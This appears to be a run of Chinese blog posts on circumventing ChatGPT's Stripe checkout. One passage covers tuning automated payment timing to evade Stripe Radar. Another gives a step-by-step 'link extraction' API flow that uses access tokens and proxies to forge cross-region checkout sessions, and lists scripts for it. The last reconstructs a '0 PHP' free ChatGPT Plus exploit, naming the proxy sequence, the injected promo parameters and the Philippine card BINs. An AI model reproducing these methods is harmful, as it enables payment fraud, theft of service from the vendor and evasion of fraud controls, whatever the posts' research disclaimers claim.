elif pi["status"] == "requires_action":
 # 确实需要解 captcha
 solve_hcaptcha(pi)

9.3 Hosted 模式轮询

cs_live_ 模式在 confirm 之后需要轮询 payment_page 状态：

POST https://api.stripe.com/v1/payment_pages/{cs_live_xxx}/poll
→ {"payment_intent": "pi_xxx", "status": "open"} // 等待中
→ {"payment_intent": "pi_xxx", "payment_object_status": "requires_action"} // 需要 captcha
→ {"payment_intent": "pi_xxx", "payment_object_status": "succeeded"} // 完成

轮询间隔建议 2-3 秒，最多轮询 60 秒。如果超时未变化，检查是否需要手动 approve。

十、安全边界与最佳实践

10.1 Session 隔离

每次支付使用独立的 Session，不复用已失败的 Session。特别是 Hosted 模式下，approve 操作后的 Session 不可再次使用。

10.2 Dry-Run 模式

所有实现都应支持 Dry-Run 模式——执行完整流程但不提交最终的 confirm：

if config.commit_payments:
 result = stripe.confirm_payment_intent(pi_id, token)
else:
 logger.info("Dry-run: skipping confirm")

这对于调试非常重要：你可以验证整个流程（创建 session、生成 token、税务计算）都正确，而不实际扣钱。

10.3 不要存储敏感数据

信用卡号仅在内存中使用，支付完成后立即清除
Session token 不应写入日志（log 中用 *** 替代）
代理凭据不要硬编码，用环境变量或加密存储
Stripe Publishable Key 可以写入代码（它本来就是公开的），但 Secret Key 绝不能出现在客户端

10.4 请求节奏模拟

纯协议支付的一个风险是请求速度太快。浏览器用户从打开支付页面到点击确认，通常需要 15-60 秒。如果你的自动化在 2 秒内完成全部请求，Stripe Radar 可能标记为异常。

建议在关键步骤间加入随机延迟：

await sleep(random.uniform(1.5, 3.0)) # 创建 session 后
await sleep(random.uniform(0.8, 2.0)) # 更新税务后
await sleep(random.uniform(1.0, 2.5)) # 创建 token 后
await sleep(random.uniform(0.5, 1.5)) # confirm 前

总时间控制在 8-30 秒之间比较自然。

10.5 并发控制

批量处理多个账号时，不要让所有请求同时发出：

Stripe API：有 rate limit，同一 publishable key 下大量并发 confirm 会触发 429
平台 API：多个账号同时操作可能触发风控
代理池：每个代理 IP 上同时只运行 1-2 个支付流程

建议使用信号量（semaphore）限制并发：

sem = asyncio.Semaphore(3) # 最多同时处理 3 个支付
async with sem:
 await process_payment(account)

十一、实现对比

文末提供的 5 套实现覆盖了不同的技术栈和使用场景：

实现	语言/框架	模式	特点
saas-pay-sdk	Python / CLI	Custom	最精简的 CLI 工具，TLS 指纹轮换，daemon 上报
subscription-manager	Python Flask / Web UI	Both	完整 Web 管理面板，支持绑卡、查账单、升级降级
payment-gateway	Python Flask / Web UI	Both	批量支付面板，账号池管理，barrier 模式批量确认
checkout-server	Python / Local HTTP	Both	本地支付编排服务器，Playwright 降级，SQLite 持久化
protocol-engine	Node.js / Modules	Both	模块化协议引擎，CycleTLS，动态 Stripe.js 版本抓取

每个实现都有自己的优缺点：

想要最快上手 → saas-pay-sdk（纯 CLI，pip install 即可）
想要可视化管理 → subscription-manager（Web UI）
想要批量处理 → payment-gateway（账号池 + 批量模式）
想要理解底层 → protocol-engine（模块化，可以单独引用任何一层）

下载

以下是 5 套完整实现的源码下载链接：

项目	下载链接	说明
saas-pay-sdk	下载	Python CLI 工具
subscription-manager	下载	Flask Web 管理面板
payment-gateway	下载	批量支付网关面板
checkout-server	下载	本地支付编排服务器
protocol-engine	下载	Node.js 协议引擎模块

注意：所有源码中的 API Key、域名、账号信息均已替换为占位符。使用前需要根据你的实际环境配置 .env 文件。

提链 — ChatGPT 跨区支付链接提取的完整技术拆解

Sat, 01 Aug 2026 20:00:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

⚠️ 免责声明：本文仅供安全研究与技术讨论。文中不提供可直接复用的攻击工具或完整利用脚本。本文目的是帮助开发者理解 Stripe 跨区支付的工作原理，以及为什么某些支付方式在不同区域可见性不同。提链工具不篡改金额、不注入优惠码，用户以正常价格通过本地支付方式完成订阅。

前言

“提链"这个词，最近在各种 ChatGPT 合租群、代充群里频繁出现。

什么意思呢？简单来说：把 ChatGPT 的信用卡结账页面，转换成一个本地支付方式（iDEAL / UPI / PIX / Kakao Pay / GCash…）的跳转链接。

你可能会问——OpenAI 不是只接受信用卡吗？

准确地说，OpenAI 的前端只展示信用卡表单。但后端用的是 Stripe，而 Stripe 在全球支持几十种本地支付方式。这些支付方式对应的国家、货币、支付类型都不同，OpenAI 在结账页面上做了筛选，只让你看到"信用卡 / 借记卡"一个选项。

但 Stripe 的能力是在的。只要你能在创建 Checkout Session 时告诉 Stripe “我要用荷兰 iDEAL 支付”——Stripe 就会老老实实返回一个 iDEAL 的跳转链接。

提链，就是从 Stripe 的 Checkout Session 里把这个跳转链接提出来。

上一篇文章我们拆了 0 PHP 白嫖 ChatGPT Plus 的跨区定价混淆攻击。那个是利用区域信号碎片化 + 工具注入参数让金额变成 0——纯粹的漏洞利用，现在大概率已经被修了。

而提链不同。提链是正常的商业行为——用户以当地正常价格、通过当地正常的支付方式付款。只不过 OpenAI 的 UI 不展示这些选项，你得自己绕过前端的限制，直接和 Stripe 对话。

今天把它从协议层完整拆开。

一、为什么需要提链——信用卡的困境

全球 80 亿人，有信用卡的不到 20 亿。

印度人用 UPI，巴西人用 PIX，荷兰人用 iDEAL，韩国人用 Kakao Pay，越南人用 MoMo。这些不是什么小众支付方式——它们在各自国家的渗透率往往超过 70%。

但 OpenAI 的结账页面只给你一个 Stripe Elements 信用卡表单：卡号、有效期、CVC。没有信用卡？不好意思。

讽刺的是，Stripe 本身是支持这些本地支付方式的。OpenAI 创建 Checkout Session 时，就是通过 billing_details.country 和 billing_details.currency 来决定哪些支付方式可用。

国家	货币	可用支付方式	月费
??🇱 荷兰	EUR	iDEAL	€20
🇮🇳 印度	INR	UPI	₹1,950
🇧🇷 巴西	BRL	PIX	R$99.90
??🇭 瑞士	CHF	TWINT	CHF 20
🇰🇷 韩国	KRW	Kakao Pay	₩26,400
🇵🇱 波兰	PLN	BLIK	zł79.99
🇻🇳 越南	VND	MoMo	₫460,000
??🇭 菲律宾	PHP	GCash	₱990

这些价格不是我编的——它们真实存在于 Stripe 的 Checkout Session 响应里。OpenAI 按照区域设置了不同的定价，Stripe 负责处理。只是 OpenAI 的前端选择性地隐藏了这些支付方式。

提链工具要做的，就是绕过前端的限制，以目标国家/货币创建 Checkout Session，然后从 Stripe 的 confirm 响应中提取第三方支付的跳转链接。

二、提链的技术原理——四步拆解

Step 1：获取 Access Token

https://chatgpt.com/api/auth/session

返回一个 JSON：

{
 "user": { "id": "user-xxx", "name": "...", "email": "..." },
 "accessToken": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
}

accessToken 是一个标准 JWT，有效期通常 5~10 分钟。它是后续所有 API 调用的认证凭据。

提链工具同时也支持直接粘贴 __Secure-next-auth.session-token cookie——这个 cookie 可以用来换取新的 access token。但最简单的方式还是直接复制上面的 JSON。

Step 2：创建 Checkout Session

用 Access Token 调用 OpenAI 的 checkout API：

POST https://chatgpt.com/backend-api/payments/checkout
Authorization: Bearer eyJ...

{
 "entry_point": "all_plans_pricing_modal",
 "plan_name": "chatgptplusplan",
 "billing_details": {
 "country": "NL",
 "currency": "EUR"
 },
 "checkout_ui_mode": "custom"
}

关键参数是 billing_details 里的 country 和 currency。这两个字段决定了 Stripe 在初始化支付页面时会提供哪些支付方式。传 NL + EUR，Stripe 就会在 payment_method_types 里包含 ideal。

响应：

{
 "checkout_session_id": "oaics_xxxxxxxxxxxx",
 "processor_entity": "openai_llc",
 "publishable_key": "pk_live_xxxxxxxxxxxx",
 "payment_method_types": ["card", "ideal"]
}

oaics_ 前缀是 OpenAI 定制的 Stripe Checkout Session ID 格式。

Step 3：Stripe 协议流程

拿到 Checkout Session ID 后，需要完成一系列 Stripe API 调用。这是提链的核心技术含量所在——不是简单地 POST 一个接口就完事了。

完整的协议流程有 12 步：

┌──────────────────────────┐
│ 1. Session Refresh │ (用 cookie 换新的 AT)
│ 2. Create Checkout │ (拿 AT 创建 checkout session)
│ 3. Stripe Init │ (初始化支付页面状态)
│ 4. Update OAI Taxes │ (通知 OpenAI 更新税务)
│ 5. Stripe Tax Region │ (更新 Stripe 税务区域)
│ 6. Stripe Customer Data │ (更新客户信息)
│ 7. OAI Checkout Snapshot │ (保存 checkout 快照)
│ 8. Pre-Confirm │ (部分支付方式需要)
│ 9. Create Payment Method │ (创建 PM，类型=ideal/upi/pix...)
│ 10. Confirm │ (确认支付，触发重定向)
│ 11. Approve │ (如果需要额外批准)
│ 12. Extract Redirect URL │ (从 confirm 响应中提取跳转链接)
└──────────────────────────┘

每一步都有自己的参数格式和必要的状态管理。Stripe 的 Checkout Session 是有状态的——它跟踪你的 eid（element ID）、mrid（merchant reference ID）、expected_amount 等等。如果你跳过了某一步或者参数不对，后续步骤就会报错。

Step 4：提取支付链接

第 10 步 Confirm 之后，如果支付方式是重定向类型（iDEAL、UPI、PIX 等都是），Stripe 会在响应中返回一个 redirect_url：

{
 "status": "requires_action",
 "next_action": {
 "type": "redirect_to_url",
 "redirect_to_url": {
 "url": "https://hooks.stripe.com/redirect/authenticate/src_xxx?client_secret=..."
 }
 }
}

这个 URL 就是最终的支付链接。用户在浏览器中打开它，会被重定向到对应的支付方式页面（iDEAL 的银行选择页、UPI 的付款确认页、PIX 的二维码页面等）。完成支付后，Stripe webhook 通知 OpenAI，OpenAI 确认订阅生效。

整个流程，金额由 Stripe 的价格表决定，提链工具不篡改任何金额字段。 用户付的就是对应国家/地区的标准月费。

三、Stripe Checkout Session 的内部结构

拆开看，Stripe Checkout Session 里藏了不少有趣的东西。

第 3 步 Stripe Init 调用的是：

POST https://api.stripe.com/v1/payment_pages/{oaics_xxx}/init

响应中最关键的几个字段：

{
 "payment_method_types": ["card", "ideal"],
 "line_items": [{
 "description": "ChatGPT Plus subscription",
 "amount": 2000,
 "currency": "eur"
 }],
 "shipping_address_collection": null,
 "payment_method_configuration": {
 "merchant_reference_id": "mri_xxx",
 "customer_session_client_secret": "cuss_xxx"
 },
 "session_id": "oaics_xxx"
}

payment_method_types 是关键——它决定了这个 Checkout Session 支持哪些支付方式。同一个接口，传不同的 country / currency，返回的 payment_method_types 就不同。

这也解释了为什么 OpenAI 前端只显示信用卡——它在创建 Checkout Session 时没有传目标国家的 billing_details，或者传的是用户账号的注册国家（通常是 US），所以 Stripe 只返回 ["card"]。

四、八种支付方式的技术对比

每种支付方式在 Stripe 层面的行为略有不同：

支付方式	PM Type	国家	货币	需要 pre_confirm	重定向类型	特殊处理
iDEAL	`ideal`	NL	EUR	✗	银行选择页	无
UPI	`upi`	IN	INR	✗	VPA 输入页	无
PIX	`pix`	BR	BRL	✗	二维码页	无
TWINT	`twint`	CH	CHF	✗	App 跳转	无
Kakao Pay	`kakao_pay`	KR	KRW	✓	Kakao 确认页	需要 pre_confirm 调用
BLIK	`blik`	PL	PLN	✗	6位码输入	无
MoMo	`momo`	VN	VND	✓	MoMo App	需要 pre_confirm 调用
GCash	`gcash`	PH	PHP	✗	GCash 确认页	无

大多数支付方式流程一致：创建 PM → Confirm → 提取 redirect URL。但 Kakao Pay 和 MoMo 需要额外的 pre_confirm 调用——如果跳过这一步，Confirm 会返回 incomplete 状态，没有 redirect URL。

pre_confirm 的请求格式：

POST https://api.stripe.com/v1/payment_pages/{oaics_xxx}/pre_confirm
Content-Type: application/x-www-form-urlencoded

expected_payment_method_type=kakao_pay

看起来简单，但如果你不知道有这一步，Kakao Pay 的提链就会卡在最后一步——所有参数都对了，就是拿不到链接。这类细节只有通过 HAR 抓包 Stripe 的完整结账流程才能发现。

五、从 0 PHP 到提链——漏洞与工具的边界

上一篇文章分析了 0 PHP 攻击，里面提到第三方工具在创建 Checkout Session 时可能注入了零元参数（如 promo_campaign）。那么问题来了：

提链工具和那个"CDK 提炼"工具是一回事吗？

不是。区别在于：

	0 PHP “提炼"工具	正常提链工具
目的	白嫖（amount = 0）	正常付款
是否注入优惠码	是（`promo_campaign`、`discount` 等）	否
金额来源	工具操纵	Stripe 价格表
合法性	灰色/违法	正常商业行为

正常的提链工具不注入任何优惠参数。它只是：

用你的 AT 创建一个以目标国家/货币计价的 Checkout Session
走完 Stripe 的协议流程
把 redirect URL 返回给你

你付的是 Stripe 价格表上对应区域的标准价格——荷兰 €20/月，印度 ₹1,950/月，巴西 R$99.90/月。没有优惠码，没有金额篡改。

正常的提链工具的设计原则应该是：不注入 promo_campaign，不传 discount，不覆盖 amount。 工具只做一件事——把 Stripe 的本地支付能力释放出来，让没有信用卡的用户也能正常订阅。

六、协议细节——那些让你卡住的坑

如果你自己尝试过写提链脚本，你一定踩过这些坑。

坑 1：IP 一致性

Stripe Checkout Session 在创建和确认时需要使用同一个 IP。如果你用代理 A 创建了 Checkout Session，又用代理 B 去 Confirm——Stripe 会返回 invalid_request_error。

这不是 Stripe 的 bug，是安全机制。Stripe 检测到 session 的创建 IP 和确认 IP 不一致，会认为可能是中间人攻击。

解决方案：整个 12 步流程使用同一个 HTTP client（或 cookie jar），确保所有请求走同一个出口 IP。

坑 2：`expected_amount`

Stripe 的 Confirm 请求需要传 expected_amount 参数，值必须和 Checkout Session 的金额一致。这个值从哪来？

最准确的来源是第 4 步 Update Taxes 的响应。这一步把账单地址传给 OpenAI，OpenAI 计算含税金额后写入 Checkout Session，然后返回一个 snapshot，里面有 amount_total：

{
 "snapshot": {
 "amount_total": 2000,
 "currency": "eur"
 }
}

如果你用 Init 步骤的金额去 Confirm，可能会因为税后金额不一致而失败。

坑 3：Stripe Session State

Stripe 的 Checkout Session 维护了一个内部状态。每次 API 调用后，响应里都会更新 eid、mrid 等字段。下一次调用必须带上最新的状态值。

这意味着你不能简单地并行调用 12 步——必须严格按顺序执行，每一步用上一步返回的最新状态。

坑 4：`Accept-Language` 和 `guid`

这两个是容易忽略的细节：

Stripe API 会根据 Accept-Language 请求头返回不同的 locale 配置。如果你不传，默认是 en-US，但某些支付方式在特定 locale 下行为不同。
Stripe 的某些内部 API 需要一个 guid 参数，格式是 xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx（UUID v4）。不是随便写的——格式不对会被拒绝。

坑 5：超时

整个流程从创建 Checkout Session 到拿到 redirect URL，通常需要 10~30 秒。某些支付方式（如 Kakao Pay）可能需要更长时间，因为 Stripe 需要和第三方支付系统交互。

如果 Confirm 之后没有立刻返回 redirect URL，需要轮询 Init 接口。URL 可能在 Confirm 后几秒到几十秒内才出现。我们的工具最多等 90 秒——超过这个时间通常意味着哪里出了问题。

七、开源提链脚本

说了这么多原理，给一些现成的实现参考。

⚠️ 时效性声明：以下脚本收集于 2026 年 7 月。OpenAI/Stripe 的 API 接口、Stripe runtime 版本、风控策略随时可能变更，脚本可能已不可用。仅供学习协议流程和理解技术原理，不保证当前可运行。使用前请自行验证。

多支付方式提链套件

来源：社区开源的 ideal-link-extractor，MIT License。

包含 6 种支付方式的独立提取脚本：

脚本	支付方式	说明
`ideal_qr_extract.py`	iDEAL（荷兰）	核心脚本（3263 行），其他脚本的参考实现
`upi/upi_extract.py`	UPI（印度）	含多代理轮转、并行模式
`pix/pix_extract.py`	PIX（巴西）	二维码提取
`twint/twint_extract.py`	TWINT（瑞士）	App 跳转链接
`kakao/kakao_extract.py`	Kakao Pay（韩国）	含 pre_confirm 处理
`blik/blik_qr_extract.py`	BLIK（波兰）	6 位码输入链接
`detect_payment_methods.py`	通用	按国家检测可用的 Stripe 支付方式

依赖：requests、curl_cffi、qrcode[pil]

基本用法（以 UPI 为例）：

pip install requests curl_cffi
export UPI_TOKEN="eyJhbGciOi..."
export UPI_PROXY="socks5://user:pass@host:port" # 自备代理
python upi_extract.py

每个脚本通过环境变量配置代理（XXX_PROXY）和 Token（XXX_TOKEN 或 token.txt 文件）。代理需自备——脚本不内置任何代理。

MoMo 提取脚本（越南）

独立维护的 MoMo/Kakao 脚本集，包含：

kakao_extract.py——共享的会话管理和 Stripe 协议辅助函数
momo_channel_probe.py——只读模式探测 MoMo 通道可用性
momo_probe.py——默认只读，设置 MOMO_EXTRACT_REDIRECT=1 才尝试提取

依赖额外的 Playwright（需要 Chromium）。

脚本的核心设计

这些脚本的技术亮点：

代理状态持久化——proxy_state.json 记录每个代理的健康状态、成功/失败计数、冷却时间
日志脱敏——自动将代理地址、Token 等敏感信息替换为安全标签
多 Worker 并行——支持多线程并发提取，自动分配代理
Stripe 协议完整实现——Session state 管理、eid/mrid 追踪、tax region 更新，完整复刻浏览器行为

注意：部分脚本包含 promo_campaign 注入逻辑和 REQUIRE_ZERO 选项（用于上一篇文章分析的 0 PHP 攻击路径）。这些属于漏洞利用代码，不建议使用——OpenAI 大概率已做修复，强行使用可能导致账号风控。

八、为什么 OpenAI 不直接提供这些支付方式？

好问题。Stripe 支持它们，OpenAI 用的是 Stripe，为什么不在结账页面上显示？

几个可能的原因：

合规成本：每个国家的本地支付方式有不同的合规要求（反洗钱、实名验证等）。支持 iDEAL 意味着要满足荷兰的金融监管要求。
退款风险：某些本地支付方式的退款/dispute 流程和信用卡不同。PIX 的退款机制、UPI 的 chargeback 流程，都需要额外的运营投入。
税务复杂度：不同国家的增值税率不同，账单格式要求不同。OpenAI 需要为每个国家维护正确的税务处理。
优先级：信用卡覆盖了 OpenAI 的核心市场（北美、欧洲）。本地支付方式对应的市场（东南亚、拉美、南亚）目前可能不是优先级。

但 Stripe 的能力已经在那里了。payment_method_types 里已经包含了这些方式。OpenAI 只需要在前端把选项打开。在此之前——提链工具就是桥梁。

九、和 0 PHP 漏洞的关系——一张图说清

 ┌───────────────────────────────────┐
 │ 正常提链工具 │
 │ country=NL, currency=EUR │
 │ NO promo_campaign │
 │ → amount = €20 (Stripe 价格表) │
 │ → redirect URL → iDEAL 付款 │
 └───────────┬───────────────────────┘
 │
 同一个 API │ 同一个 API
 │
 ┌───────────▼───────────────────────┐
 │ OpenAI /payments/checkout API │
 │ + Stripe Checkout Session │
 └───────────┬───────────────────────┘
 │
 ┌───────────▼───────────────────────┐
 │ 0 PHP 攻击工具 │
 │ country=PH, currency=PHP │
 │ + promo_campaign injection │
 │ + cross-region confusion │
 │ → amount = ₱0 (被操纵) │
 │ → PH BIN 卡完成支付 │
 └───────────────────────────────────┘

同一个 API，两种用法：

提链：合法利用 Stripe 的本地支付能力，正常价格
0 PHP：利用跨区信号碎片化 + 参数注入，把价格打到零

提链不是漏洞利用。它只是 Stripe 本来就有的能力，被 OpenAI 前端隐藏了而已。

十、写在最后

提链的本质是一个简单的事实：Stripe 是一个全球支付平台，它天然支持几十种本地支付方式。OpenAI 的 UI 做了限制，但 API 没有。

从技术角度看，12 步协议流程的每一步都有其必要性——IP 一致性、状态管理、税务更新、pre_confirm。跳过任何一步都会导致最终拿不到 redirect URL。这也是为什么"提链"不是简单地抓个包就能搞定的——你需要理解 Stripe 的完整 Checkout 流程。

从商业角度看，提链让全球用户有了一种不依赖信用卡的方式来使用 ChatGPT。在信用卡渗透率不到 10% 的印度，UPI 是 8 亿人的默认支付方式。提链本身不是什么灰色操作——它只是把 Stripe 的能力释放给了真正需要的人。

最后的最后：本文提到的所有脚本和协议细节都有时效性。OpenAI 和 Stripe 的接口在持续变化——Stripe runtime version 会更新，API 字段会调整，风控规则会收紧。今天能跑的脚本，明天可能就 403 了。理解原理比收藏脚本更重要。

附录：直卡绑定——另一条路

除了提链，还有一种完全不同的思路：直接给 ChatGPT 账号绑一张卡，然后正常走 checkout。

这就是"直卡焚决"方法的核心。它不绕过前端、不走第三方支付——它解决的是"没有美区信用卡"这个前置问题。

原理

OpenAI 的 /backend-api/payments/payment_method 接口支持创建 Stripe SetupIntent——这是 Stripe 的"先绑卡不扣款"机制。绑上之后，下次走 checkout 时就有卡可用了。

配套的控制台脚本（在 chatgpt.com 的 Console 里运行）做了这几件事：

自动发现 Stripe 公钥——OpenAI 有两个 Stripe 商户分片（KslHRdbaPg 和 C6h1nxGoI3），脚本通过 retrieveSetupIntent 自动匹配当前账号属于哪个分片
创建 SetupIntent——调用 OpenAI 的 payment_method API，拿到 client_secret
渲染 Stripe Card Element——在页面上弹出一个模态框，内嵌 Stripe 的标准卡输入组件
确认绑定——stripe.confirmCardSetup + set_as_default_payment_method: true

// 关键调用
const result = await stripe.confirmCardSetup(clientSecret, {
 payment_method: {
 card: cardElement,
 billing_details: { name },
 allow_redisplay: 'always'
 },
 set_as_default_payment_method: true
});

绑卡成功后，脚本还会调用 /backend-api/payments/payment_methods 拉取当前账号的所有支付方式列表，用 console.table 打印出来。你可以看到新绑的卡已经成为默认支付方式。

和提链的关系

直卡绑定：解决"没有卡"的问题。需要有一张能过 Stripe AVS/3DS 验证的实体或虚拟卡。
提链：解决"不想/不能用信用卡"的问题。走本地支付方式，完全不涉及信用卡。

两种方法互补——有卡的用直卡，没卡的用提链。

0 PHP 白嫖 ChatGPT Plus — 跨区定价混淆攻击的完整技术拆解

Tue, 28 Jul 2026 18:00:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

⚠️ 免责声明：本文仅供安全研究与技术讨论。文中不提供可直接复用的攻击工具或完整利用脚本。利用类似手段对正式服务进行未授权操作属违法行为，后果自负。本文目的是帮助支付系统开发者理解跨区定价攻击面并加固防御。

前言

这两天群里炸了。

有人甩出一张截图：Stripe 结账页面，产品写着 “ChatGPT Plus”，金额一栏赫然显示 ₱0.00 PHP。菲律宾比索，零元，提交即开通。

评论区画风可想而知——“假的吧"“PS 的吧"“你怎么不说 Plus 倒找你钱”。

然后陆陆续续有人贴出了完整流程，甚至还配了视频录屏。操作步骤不复杂，总共四步，不需要 Root，不需要 Frida，不需要改一行代码。唯一的技术含量在于——你得知道用什么顺序把哪些区域串起来。

这就有意思了。之前我们拆过 prorationMode hook（改一个 putInt 白嫖 Claude Max）、拆过焚决脚本（劫持 checkout_capabilities 走 SEPA 假账号）、拆过 RevenueCat 凭证转移（匿名购买 + restore 归属偷渡）。那些多少都是"改代码"的路子——Hook 内存、注入响应、篡改参数。

但这次不一样。这次什么都没改。没有脚本，没有 Hook，没有中间人。攻击者只是以一种特定的顺序访问了几个网页，然后 Stripe 自己就吐出了 0 元账单。

今天把它完整拆开。

一、攻击全景：四步，从 JP 到 PH，从 $20 到 ₱0

先把流传的步骤还原一下：

Step 1：日本节点注册 OpenAI 账号

挂 JP 代理，开一个干净的浏览器 Profile（指纹浏览器或者 Chrome 新 Profile），去 OpenAI 官网正常注册，邮箱验证，登录确认。

此时你的账号状态：

account.locale = "ja-JP"
account.billing_country = "JP"
account.currency = "JPY"

OpenAI 在注册时根据你的 IP 地理位置初始化账号的计费区域。这一步的目的不是"要日本"本身，而是要一个非美区的初始定价锚点。

Step 2：切美国节点，提取 Access Token

保持同一个浏览器 Profile，VPN 切到 US 节点，重新登录刚才注册的账号。然后新标签页打开：

https://chatgpt.com/api/auth/session

浏览器返回一个 JSON，里面有 accessToken 字段——一个标准 JWT。复制保存。

此时你的 session 状态出现了第一层矛盾：

account.billing_country = "JP" ← 注册时写入，持久化在 OpenAI 数据库
session.ip_country = "US" ← 当前 IP 推断，存在 session/edge 层

Step 3：第三方工具生成 Checkout 链接

打开某个第三方"CDK 提炼"工具站点（这类工具本质上就是一个 AT → Stripe Checkout Session 的代理），把 Access Token 粘进去，点生成。

工具返回一个链接，格式：

https://chatgpt.com/checkout/openai_llc/oaics_xxxxxxxxxxxxxxxxxxxxx

oaics_ 是 OpenAI 的 Stripe Checkout Session ID 前缀。这个 session 是 OpenAI 后端基于你的 AT 创建的，包含了产品、价格、货币等信息。

关键问题来了：这个 Checkout Session 的 currency 和 amount 是怎么决定的？

Step 4：打开链接，惊喜时刻

在美国节点下打开这个 oaics 链接。Stripe 结账页面加载出来，你看到：

ChatGPT Plus
₱0.00 PHP / month

菲律宾比索。零元。

填入指定 BIN 的卡片信息（523686 或 4513），美国账单地址，提交。

Stripe 收了一笔 0 元交易，OpenAI 后端确认 checkout session 成功，权益生效。回到 ChatGPT 首页，左上角已经是 Plus 了。

二、为什么是 0 PHP？——三种假说

先澄清一个重要事实：OpenAI 在菲律宾是有明确定价的，ChatGPT Plus 的 PH 区定价大约是 ₱990 PHP/月。所以这不是简单的"价格表空洞导致 fallback 到 0”——如果定价系统正常查 PH 价格表，应该返回 ₱990，不是 ₱0。

那 0 是怎么来的？没有对 Checkout Session 创建过程的完整抓包，我们只能做推断。以下三种假说按可能性排序。

假说一：第三方工具在创建 Checkout Session 时注入了零元参数（最可能）

OpenAI 的 /backend-api/payments/checkout 接口接受多个参数来创建 Stripe Checkout Session。如果这个接口接受客户端传入的 discount、coupon、promotion_code 或类似参数，且后端没做资格校验——工具直接传了一个 100% 折扣的 coupon code 或者 amount_override: 0。

这和之前 RevenueCat 文章里分析过的 eligible_promo_campaigns 注入如出一辙：客户端声称"我有优惠资格”，后端不校验就信了。

// 工具的真实请求可能长这样
body: JSON.stringify({
 plan: "plus",
 promotion_code: "某个内部免费试用码",
 // 或者
 billing_country: "PH",
 currency: "php",
 // 或者更直接的
 price_override: 0
})

JP 注册 + US 登录制造的区域歧义，可能不是直接触发 0 元的原因，而是绕过风控检查的前置条件——当账号区域和 IP 区域不一致时，后端对 checkout 参数的校验逻辑可能走入了一个宽松的分支。

假说二：跨区信号冲突导致定价路由进入异常分支

当 OpenAI 创建 Stripe Checkout Session 时，面前有至少四个区域信号：

信号来源	值	决定时机
账号注册地	JP	注册时固化
当前 session IP	US	每次请求实时推断
Stripe 卡 BIN 发行国	PH	填卡时由 Stripe 推断
浏览器 Accept-Language	取决于浏览器设置	每次请求携带

正常场景下这四个信号一致——美国人在美国用美国卡买东西，直接查 US 价格表。

但当 JP ≠ US ≠ PH 三个信号同时存在时，定价系统需要做一个选择。如果选择逻辑是 if (account.country != ip.country) { use card.country } 这种优先级策略，而 PH 价格表虽然存在但在某个子路径（比如"非本地注册用户+跨区IP"的特殊定价分支）中没有配置——就可能在这个特殊分支里 fallback 到 0。

换句话说：PH 的主价格表有值（₱990），但某个异常处理路径的价格映射没覆盖到 PH，攻击者通过区域信号碎片化精确命中了这条路径。

假说三：Stripe Checkout Session 的 line_items 被工具篡改

Stripe checkout.sessions.create 的 line_items 参数包含 price 或 price_data。如果 OpenAI 的接口允许客户端指定 price_data.unit_amount（哪怕是间接的），工具就能在创建 session 时直接把金额写成 0。

line_items: [{
 price_data: {
 currency: "php",
 unit_amount: 0, // 直接指定 0
 product: "prod_xxx",
 recurring: { interval: "month" }
 },
 quantity: 1
}]

这种情况下 PH BIN 的作用不是"触发 PH 价格表"，而是让 currency 字段说得通——如果你传 currency: "php" 但卡是 US 卡，Stripe 可能会有额外的 currency mismatch 警告。PH 卡 + PHP 货币是自洽的。

为什么是 PH BIN？

无论哪种假说，流传的两个 BIN 都有其作用：

BIN	网络	发行国
523686	Mastercard	菲律宾
4513xx	Visa	取决于具体发行行

523686 开头的卡填入 Stripe 表单时，Stripe 内部标记 payment_method.card.country = "PH"。这个信号在整个支付流中传播。PH BIN 的作用至少有两个：

让 PHP 货币的 checkout session 能正常完成——卡的发行国和结账货币匹配
可能绕过 OpenAI 的 card-country vs account-country 风控规则——PH 卡付 PHP 金额在 Stripe 层面是"正常交易"

三、JP 注册的作用——制造"区域身份分裂"

你可能会问：为什么不直接在美国注册、美国提 Token、用 PH 卡付？

答案是：直接美区注册的账号，定价系统的行为是确定性的——走 US 价格表，$20 USD，没有歧义可利用。

JP 注册的作用是制造一个区域身份不确定的账号。当账号的 billing_country 是 JP，session IP 是 US，这两个信号已经矛盾了。定价系统在处理这种矛盾时，可能会：

走入一个异常处理分支，该分支的参数校验比正常路径更宽松
允许第三方工具注入的额外参数（如 currency、discount）覆盖默认行为
使用一个与主价格表不同的备用定价逻辑，而这个逻辑有漏洞

用状态机的视角看：

 ┌──────────────┐
 │ 注册时: JP │
 │ locale=ja-JP │
 └──────┬───────┘
 │
 ┌──────▼───────┐
 │ 登录时: US │
 │ ip_country=US│
 │ ≠ locale │
 └──────┬───────┘
 │
 ┌──────▼───────────┐
 │ 创建 Checkout │
 │ JP ≠ US → 歧义 │
 │ → 进入异常分支 │
 │ → 参数校验宽松 │
 └──────┬───────────┘
 │
 ┌──────▼───────────┐
 │ 工具注入参数 │
 │ + Card BIN: PH │
 │ → amount = 0 PHP │
 └──────────────────┘

三个不同的区域信号（JP / US / PH）制造了歧义，歧义打开了异常路径，异常路径上的校验缺失被利用。

这是一个经典的安全反模式：当多个权威源对同一个问题给出不同答案时，系统在歧义中放松了校验——不是直接返回 0，而是给了攻击者操纵结果的空间。

四、第三方"提炼工具"在干什么？

流程里的那个第三方网站（sms.linlinflow.ccwu.cc），名字叫"CDK 提炼"，听着玄乎，其实它干的事非常直白：

接收你的 Access Token
用这个 AT 调用 OpenAI 后端 API，创建一个 Stripe Checkout Session
把 Checkout Session 的 URL 返回给你

本质就是一个 AT → oaics_ 链接 的代理服务。

它的技术实现大概率是这样的：

// 伪代码，非真实接口
const response = await fetch("https://chatgpt.com/backend-api/payment/checkout", {
 method: "POST",
 headers: {
 "Authorization": `Bearer ${accessToken}`,
 "Content-Type": "application/json"
 },
 body: JSON.stringify({
 plan: "plus",
 // 关键：这里可能注入了额外参数
 // billing_country? currency? locale?
 })
});

const { checkout_url } = await response.json();
// checkout_url = "https://chatgpt.com/checkout/openai_llc/oaics_..."

关键问题：工具只是"转发"了 AT，还是"动了手脚"？

考虑到 PH 区有明确的 Plus 定价（约 ₱990/月），而结果是 ₱0——工具大概率不只是简单转发。它在创建 Checkout Session 时注入了额外参数，利用跨区账号的异常处理路径绕过了服务端校验。

